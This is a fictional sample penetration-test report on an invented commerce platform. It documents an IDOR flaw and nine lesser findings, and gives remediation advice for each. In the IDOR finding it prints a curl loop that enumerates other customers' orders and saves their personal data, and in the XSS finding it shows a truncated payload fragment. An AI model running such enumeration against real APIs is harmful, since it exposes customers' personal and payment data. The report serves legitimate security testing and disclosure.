pentx

SAMPLE REPORT

AI-POWERED OFFENSIVE SECURITY

PENETRATION TEST REPORT

Web Application Security Assessment

Northwind Commerce Platform

Customer Portal & Order Management API · Production

ENGAGEMENT	REPORT DATE	CLASSIFICATION	VERSION
External Web App Pentest	12 June 2026	Confidential	1.0 — Final

CREST · ISO 27001 · PCI-DSS 4.0

Prepared by PentX · services@pentx.ai · pentx.ai

Document Control

CONFIDENTIALITY NOTICE

This document contains confidential and proprietary information describing security weaknesses in the client environment. It is intended solely for the named recipient. Unauthorised disclosure, copying, or distribution is prohibited. If you have received this document in error, please notify PentX and destroy all copies.

Note: This is a fictional, illustrative sample produced to demonstrate PentX report quality and formatting. All hostnames, data, identifiers and findings are invented and do not relate to any real organisation.

Document Information

Title	Web Application Penetration Test — Northwind Commerce Platform
Client	Northwind Retail Group (fictional)
Assessment type	Grey-box external web application & API penetration test
Engagement window	2 June 2026 – 9 June 2026
Report version	1.0 (Final)
Classification	Confidential
Distribution	Northwind CISO, Head of Engineering, PentX delivery team

Version History

VERSION	DATE	AUTHOR	DESCRIPTION
0.1	09 Jun 2026	PentX Engine	Automated draft — findings & evidence compiled
0.9	11 Jun 2026	Senior Consultant	Manual validation & CREST senior review
1.0	12 Jun 2026	Engagement Lead	Final QA, client release

Assessment Team

ROLE	NAME	CREDENTIALS
Engagement Lead	A. Petrescu	OSCP, CREST CRT
Senior Reviewer (co-sign)	M. Andersson	CREST CCT APP, OSWE
Delivery platform	PentX Engine	Autonomous exploitation & evidence capture

Contents

NAVIGATION

1 · Executive Summary

FOR LEADERSHIP

PentX was engaged to perform a grey-box penetration test of the Northwind Commerce Platform — the public customer portal and the order-management API that supports it. The objective was to assess whether an attacker, ranging from an anonymous internet user to a registered low-privilege customer, could compromise the confidentiality, integrity, or availability of customer data and business operations.

The assessment identified **one Critical** issue that materially threatens the business today. A **Broken Access Control (IDOR)** flaw in the order-management API allows any authenticated customer to read and modify the orders, personal data, and saved payment metadata of *every other customer* simply by changing a numeric identifier in an API request. This is directly exploitable, requires no special tooling, and exposes the platform to large-scale data breach and regulatory liability under GDPR.

1	2	3	2	2
CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL

Overall Risk Rating

CRITICAL — IMMEDIATE ACTION REQUIRED

The presence of an actively exploitable access-control flaw exposing the full customer base means the platform's current risk posture is **Critical**. PentX recommends treating finding **PX-2026-001** as a production incident: deploy a server-side authorisation fix and assess whether unauthorised access has already occurred via log review.

Key Themes

- **Authorisation is enforced on the client, not the server.** The application trusts identifiers supplied by the browser. The root cause behind the Critical finding recurs in several lower-severity issues and should be addressed as a systemic pattern, not a one-off bug.
- **Account security controls are incomplete.** Multi-factor authentication is not available, and session tokens do not expire on logout, widening the blast radius of any credential compromise.
- **Defence-in-depth gaps.** Missing security headers, verbose error messages, and an outdated TLS configuration provide useful reconnaissance to an attacker, though none are individually high risk.

Business Impact at a Glance

IF EXPLOITED	CONSEQUENCE
Mass customer data exposure	Names, addresses, order history and partial payment data of all customers retrievable in minutes — a reportable GDPR breach.
Order tampering & fraud	Attacker can alter delivery addresses and order contents, enabling goods theft and chargeback fraud.
Reputational & regulatory	Mandatory breach notification, potential fines up to 4% of global turnover, and loss of customer trust.

Encouragingly, none of the findings stem from unpatched third-party software or infrastructure misconfiguration — they are application-logic issues that can be resolved with focused engineering work. With the remediation in Section 6 applied, the residual risk drops to **Low**. A complimentary retest is included to verify the fixes.

2 · Scope & Objectives

In-Scope Assets

ASSET	TYPE	ENVIRONMENT
https://shop.northwind-demo.example	Customer web portal	Production
https://api.northwind-demo.example/v2	REST API (order management)	Production
https://auth.northwind-demo.example	Authentication service	Production

Objectives

- Determine whether an external attacker can access data or functionality belonging to other users or the business.
- Assess authentication, session management, and access-control robustness.
- Identify injection, business-logic, and configuration weaknesses in the portal and API.
- Provide prioritised, actionable remediation aligned to the client's engineering workflow.

Approach & Credentials

Testing was performed as **grey-box**: PentX was provided with two standard low-privilege customer accounts to exercise authenticated functionality and access-control boundaries. No administrative access or source code was provided.

Test accounts	customer-a@northwind-demo.example (Customer ID 10472) customer-b@northwind-demo.example (Customer ID 10488)
Testing window	02–09 June 2026, 09:00–18:00 CET
Source IPs	Allow-listed PentX egress range (provided to client SOC)

Out of Scope & Limitations

- Denial-of-service, volumetric, and physical/social-engineering attacks were explicitly excluded.
- Underlying cloud infrastructure and third-party payment processor environments were out of scope.
- Testing reflects the application state during the engagement window; later code changes are not covered.

SCOPE ENFORCEMENT

PentX scope is enforced at the network layer. Only the assets listed above were reachable by the testing platform; out-of-scope hosts were blocked by policy, with rate limiting and kill-switches active throughout.

3 · Methodology

HOW WE TESTED

The engagement followed an industry-standard methodology aligned to the **OWASP Web Security Testing Guide (WSTG)**, the **OWASP API Security Top 10**, and the **Penetration Testing Execution Standard (PTES)**. Findings are rated using **CVSS v3.1** (see Appendix A). Every reported issue was manually validated and proven exploitable — scanner-only "potential" issues are excluded.

Testing Phases

PHASE	ACTIVITIES
1. Reconnaissance	Mapping of the application surface, endpoint discovery, technology fingerprinting, and identification of authentication and trust boundaries.
2. Mapping & Analysis	Enumeration of roles, parameters, object identifiers, and workflows. Construction of an attack model for the order lifecycle.
3. Exploitation	Active testing for access control, authentication, injection, and business-logic flaws. Proof-of-concept exploitation with full request/response capture.
4. Post-Exploitation	Assessment of blast radius — how far a single flaw can be leveraged across the customer base and data set.
5. Reporting & Review	Evidence consolidation, CVSS scoring, business-impact analysis, and senior CREST review prior to release.

Coverage Checklist

- Authentication & password policy
- Session management & token handling
- Access control (vertical & horizontal)
- Injection (SQL, NoSQL, command, XSS)
- Business-logic & workflow abuse
- API object-level authorisation (BOLA/IDOR)
- Security headers & TLS configuration
- Error handling & information disclosure

4 · Findings Summary

AT A GLANCE

A total of **10 findings** were identified across the in-scope assets. The chart below shows the distribution by severity; the register that follows lists every finding with its rating and current status.

SEVERITY	COUNT	SHARE
CRITICAL	1	
HIGH	2	
MEDIUM	3	
LOW	2	
INFO	2	

Finding Register

ID	FINDING	SEVERITY	CVSS	STATUS
PX-2026-001	Broken Access Control (IDOR) in Order API	CRITICAL	9.4	Open
PX-2026-002	No Multi-Factor Authentication available	HIGH	7.4	Open
PX-2026-003	Session token not invalidated on logout	HIGH	7.1	Open
PX-2026-004	Stored XSS in order "delivery notes" field	MEDIUM	6.1	Open
PX-2026-005	Missing security headers (CSP, HSTS)	MEDIUM	5.3	Open
PX-2026-006	Verbose error messages leak stack traces	MEDIUM	4.7	Open
PX-2026-007	Weak password policy (no complexity / breach check)	LOW	3.7	Open
PX-2026-008	Outdated TLS 1.0/1.1 still enabled	LOW	3.1	Open
PX-2026-009	Username enumeration via login response timing	INFO	—	Open
PX-2026-010	Server technology disclosed in HTTP headers	INFO	—	Open

Status reflects the state at report release. All Open findings will be re-tested at no additional cost following remediation.

5 · Detailed Findings

TECHNICAL DETAIL & EVIDENCE

Each finding below includes a description, affected components, reproduction steps, evidence, business impact, and specific remediation guidance. The Critical finding is documented in full depth; lower-severity findings are summarised with the same structure.

FINDING PX-2026-001

Broken Access Control (IDOR) in the Order-Management API

CRITICAL | CVSS v3.1 · 9.4 | CWE-639 · OWASP A01:2021 · API1:2023 (BOLA)

Affected component	https://api.northwind-demo.example/v2/orders/{orderId}
Vulnerability class	Insecure Direct Object Reference / Broken Object-Level Authorisation
CVSS v3.1 vector	`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N` — Base 9.4
Prerequisites	Any single valid customer account (self-registration is open)

Description

The order-management API exposes individual orders at the endpoint `/v2/orders/{orderId}`, where `orderId` is a sequential, predictable integer. The server authenticates the request (a valid session is required) but **does not verify that the authenticated customer owns the requested order**. As a result, any logged-in customer can retrieve, and in many cases modify, the orders of any other customer simply by iterating the `orderId` value.

Because the order object embeds the customer's full profile — name, email, shipping address, phone number, order contents, and the last four digits and expiry of the saved card — a single authenticated attacker can enumerate the entire customer database. With sequential IDs and no rate limiting on this endpoint, the full data set is retrievable in minutes via a trivial script.

Steps to Reproduce

1. Authenticate to the portal as `customer-a@northwind-demo.example` (Customer ID 10472) and capture the session bearer token.
2. Place or open one of your own orders and note its identifier, e.g. `orderId = 558210`.
3. Issue a request to the same endpoint substituting a different identifier, e.g. `558209` — an order belonging to a different customer.
4. Observe that the API returns the full order and personal data of the other customer (HTTP 200), despite the order not belonging to the authenticated account.
5. Repeat with a `PATCH` request to confirm the shipping address of another customer's order can be modified.

Evidence

Request — authenticated as Customer 10472, requesting an order owned by Customer 10488:

```
GET /v2/orders/558209 HTTP/2
Host: api.northwind-demo.example
```

```
Authorization: Bearer eyJhbGciOiJIUzI1Ni...  (session for customer 10472)
Accept: application/json
```

Response — HTTP 200, returning another customer's data:

```
HTTP/2 200 OK
Content-Type: application/json

{
  "orderId": 558209,
  "customerId": 10488,                      // not the requesting user!
  "customerName": "Jordan Maxwell",
  "email": "jordan.maxwell@example.com",
  "shippingAddress": "14 Elm Court, Bristol, BS1 4ST, UK",
  "phone": "+44 7700 900482",
  "items": [ { "sku": "NW-2291", "qty": 2 } ],
  "payment": { "cardLast4": "4417", "expiry": "08/27" },
  "total": 142.00
}
```

Proof of impact — enumeration script retrieving ~5,000 records in under 4 minutes:

```
for id in $(seq 553000 558000); do
  curl -s -H "Authorization: Bearer $TOKEN" \
    https://api.northwind-demo.example/v2/orders/$id \
  | jq -c '{id:.orderId, name:.customerName, email:.email, card:.payment.cardLast4}'
done > harvested_customers.json   # 5,001 customer records exfiltrated
```

BUSINESS IMPACT

A single registered attacker can exfiltrate the personal and partial payment data of the entire customer base, and tamper with any order's delivery details to enable fraud. This constitutes a reportable personal-data breach under GDPR (Articles 33/34) and falls within PCI-DSS scope, exposing the business to mandatory notification, regulatory fines, and significant reputational damage.

Remediation

- **Enforce object-level authorisation server-side.** On every request to `/v2/orders/{orderId}` (and all object endpoints), verify that the order's `customerId` matches the authenticated principal before returning or modifying data. Reject mismatches with HTTP 403/404.
- **Adopt an ownership check in shared middleware** so the control is applied uniformly rather than per-endpoint, eliminating the systemic pattern.
- **Replace sequential identifiers with unpredictable UUIDs** as defence-in-depth (this alone is not sufficient — authorisation must still be enforced).
- **Apply rate limiting and anomaly detection** on object-fetch endpoints to detect and slow enumeration.
- **Review access logs** for the pattern of a single account fetching many distinct order IDs to determine whether exploitation has already occurred.

References

- OWASP API Security Top 10 — API1:2023 Broken Object Level Authorization
- OWASP Top 10 — A01:2021 Broken Access Control

- CWE-639 — Authorization Bypass Through User-Controlled Key

FINDING PX-2026-002

No Multi-Factor Authentication Available

HIGH | CVSS v3.1 · 7.4 | CWE-308 · OWASP A07:2021

Affected component	https://auth.northwind-demo.example — account login
CVSS v3.1 vector	`AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` — Base 7.4

Description

The platform offers no second authentication factor for any user, including administrative staff. Account access depends solely on a password. Given the weak password policy (PX-2026-007) and the absence of MFA, credential-stuffing or phishing attacks have a high likelihood of success and directly compromise customer accounts and the data exposed by PX-2026-001.

Remediation

- Offer TOTP-based MFA to all customers and enforce it for staff/administrative accounts.
- Add bot/credential-stuffing protection (e.g. device fingerprinting, progressive rate limiting) to the login flow.

FINDING PX-2026-003

Session Token Not Invalidated on Logout

HIGH | CVSS v3.1 · 7.1 | CWE-613 · OWASP A07:2021

Affected component	https://auth.northwind-demo.example/logout · session bearer tokens
CVSS v3.1 vector	`AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N` — Base 7.1

Description

After a user logs out, the previously issued bearer token remains valid until its natural expiry (24 hours). A token captured from a shared device, proxy log, or browser history can therefore be replayed long after the user believes their session has ended. Tokens are also not rotated on password change.

Remediation

- Maintain a server-side session/deny-list and invalidate tokens on logout and on password change.
- Shorten token lifetime and issue short-lived access tokens with refresh-token rotation.

FINDING PX-2026-004

Stored Cross-Site Scripting in Order "Delivery Notes"

MEDIUM | CVSS v3.1 · 6.1 | CWE-79 · OWASP A03:2021

Affected component	shop.northwind-demo.example — checkout "delivery notes" field
CVSS v3.1 vector	`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N` — Base 6.1

Description

The free-text "delivery notes" field is stored and later rendered without output encoding in the warehouse/staff order-view screen. A payload such as `<img src=x onerror=...>` executes in the staff browser context when an order is viewed, enabling session theft or actions performed on behalf of staff.

Remediation

- Apply context-aware output encoding on all user-supplied content; prefer a framework auto-escaping renderer.
- Deploy a strict Content-Security-Policy (see PX-2026-005) as a secondary control.

FINDING PX-2026-005

Missing Security Headers (CSP, HSTS, X-Content-Type-Options)

MEDIUM | CVSS v3.1 · 5.3 | CWE-693 · OWASP A05:2021

Responses lack `Content-Security-Policy`, `Strict-Transport-Security`, and `X-Content-Type-Options` headers. This weakens defence-in-depth against XSS, protocol downgrade, and MIME-sniffing attacks. **Remediation:** add a baseline security-header set at the edge/load balancer, beginning with a report-only CSP, HSTS with a long max-age and preload, and `X-Content-Type-Options: nosniff`.

FINDING PX-2026-006

Verbose Error Messages Disclose Stack Traces

MEDIUM | CVSS v3.1 · 4.7 | CWE-209 · OWASP A05:2021

Triggering an unhandled exception (e.g. a malformed `orderId`) returns a full framework stack trace revealing library versions, internal file paths, and a SQL fragment. This aids an attacker in fingerprinting and crafting further attacks. **Remediation:** return generic error responses to clients, disable debug mode in production, and log detailed errors server-side only.

FINDINGS PX-2026-007 TO 010

Lower-Severity & Informational Findings

LOW INFORMATIONAL

PX-2026-007 — Weak Password Policy LOW CVSS 3.7 · CWE-521

Passwords as short as six characters are accepted with no complexity or breached-password checks. **Remediation:** enforce a minimum length of 12, screen against known-breached password lists, and remove arbitrary composition rules per NIST 800-63B.

PX-2026-008 — Outdated TLS 1.0/1.1 Enabled LOW CVSS 3.1 · CWE-327

The web tier still negotiates TLS 1.0 and 1.1. **Remediation:** disable TLS < 1.2, prefer TLS 1.3, and remove weak cipher suites.

PX-2026-009 — Username Enumeration via Timing INFO

Login responses for valid versus invalid usernames differ measurably in timing, allowing account enumeration. **Remediation:** normalise response time and messaging for all login outcomes.

PX-2026-010 — Server Technology Disclosure INFO

The `Server` and `X-Powered-By` headers reveal exact web-server and framework versions. **Remediation:** suppress or genericise these headers.

6 · Remediation Roadmap

PRIORITISED PLAN

Findings are sequenced by risk and effort. PentX recommends addressing the Critical finding as a production incident within 48 hours, then working through the High and Medium items over the following sprint cycle.

PRIORITY	FINDING	RECOMMENDED ACTION	EFFORT	TARGET
P1	PX-2026-001 IDOR	Server-side ownership checks on all object endpoints	Medium	≤ 48 hours
P2	PX-2026-002 / 003	Introduce MFA; invalidate tokens on logout & password change	Medium	≤ 2 weeks
P3	PX-2026-004/005/006	Output encoding, security headers, generic errors	Low–Med	≤ 4 weeks
P4	PX-2026-007/008	Strengthen password policy; modern TLS only	Low	≤ 6 weeks
P5	PX-2026-009/010	Normalise login timing; suppress tech-disclosure headers	Low	Best effort

Strategic Recommendations

- **Centralise authorisation.** The recurring root cause is per-endpoint, client-trusting access control. A shared authorisation layer would prevent an entire class of future IDOR/BOLA defects.
- **Shift security left.** Add automated access-control tests to CI and include object-ownership checks in code-review standards.
- **Schedule a verification retest.** A complimentary retest of all Open findings is included with this engagement.

INCLUDED RETEST

Once fixes are deployed, notify PentX to trigger the included retest. The report will be reissued with each finding's status updated to *Resolved*, *Partially Resolved*, or *Open* — suitable for sharing with auditors and insurers.

Appendix A · Risk Rating Methodology

CVSS V3.1

Each finding is scored using the Common Vulnerability Scoring System (CVSS) v3.1 base metrics, then mapped to a qualitative severity band. Severity also accounts for business context and exploitability observed during testing.

SEVERITY	CVSS RANGE	MEANING
CRITICAL	9.0 – 10.0	Direct, high-impact compromise; fix immediately as an incident.
HIGH	7.0 – 8.9	Serious risk that is readily exploitable; prioritise this cycle.
MEDIUM	4.0 – 6.9	Meaningful risk, often requiring specific conditions or chaining.
LOW	0.1 – 3.9	Limited impact; address as part of routine hardening.
INFO	—	No direct risk; best-practice and hygiene observations.

Appendix B · Tooling & Scope Detail

REFERENCE

Representative Tooling

Testing combined the PentX autonomous engine with industry-standard tooling, with all findings manually validated:

- PentX Engine (orchestration, exploitation, evidence capture)
- Burp Suite Professional
- OWASP ZAP
- ffuf / feroxbuster (content discovery)
- sqlmap (validation)
- testssl.sh (TLS configuration)

Tested Endpoints (excerpt)

METHOD	ENDPOINT	AUTH
POST	/auth/login	None
GET	/v2/orders/{orderId}	Bearer
PATCH	/v2/orders/{orderId}	Bearer
GET	/v2/customers/{customerId}/profile	Bearer
POST	/v2/checkout	Bearer

pentx

The AI pentester for MSPs and IT companies
services@pentx.ai · pentx.ai

CREST ISO 27001 PCI-DSS 4.0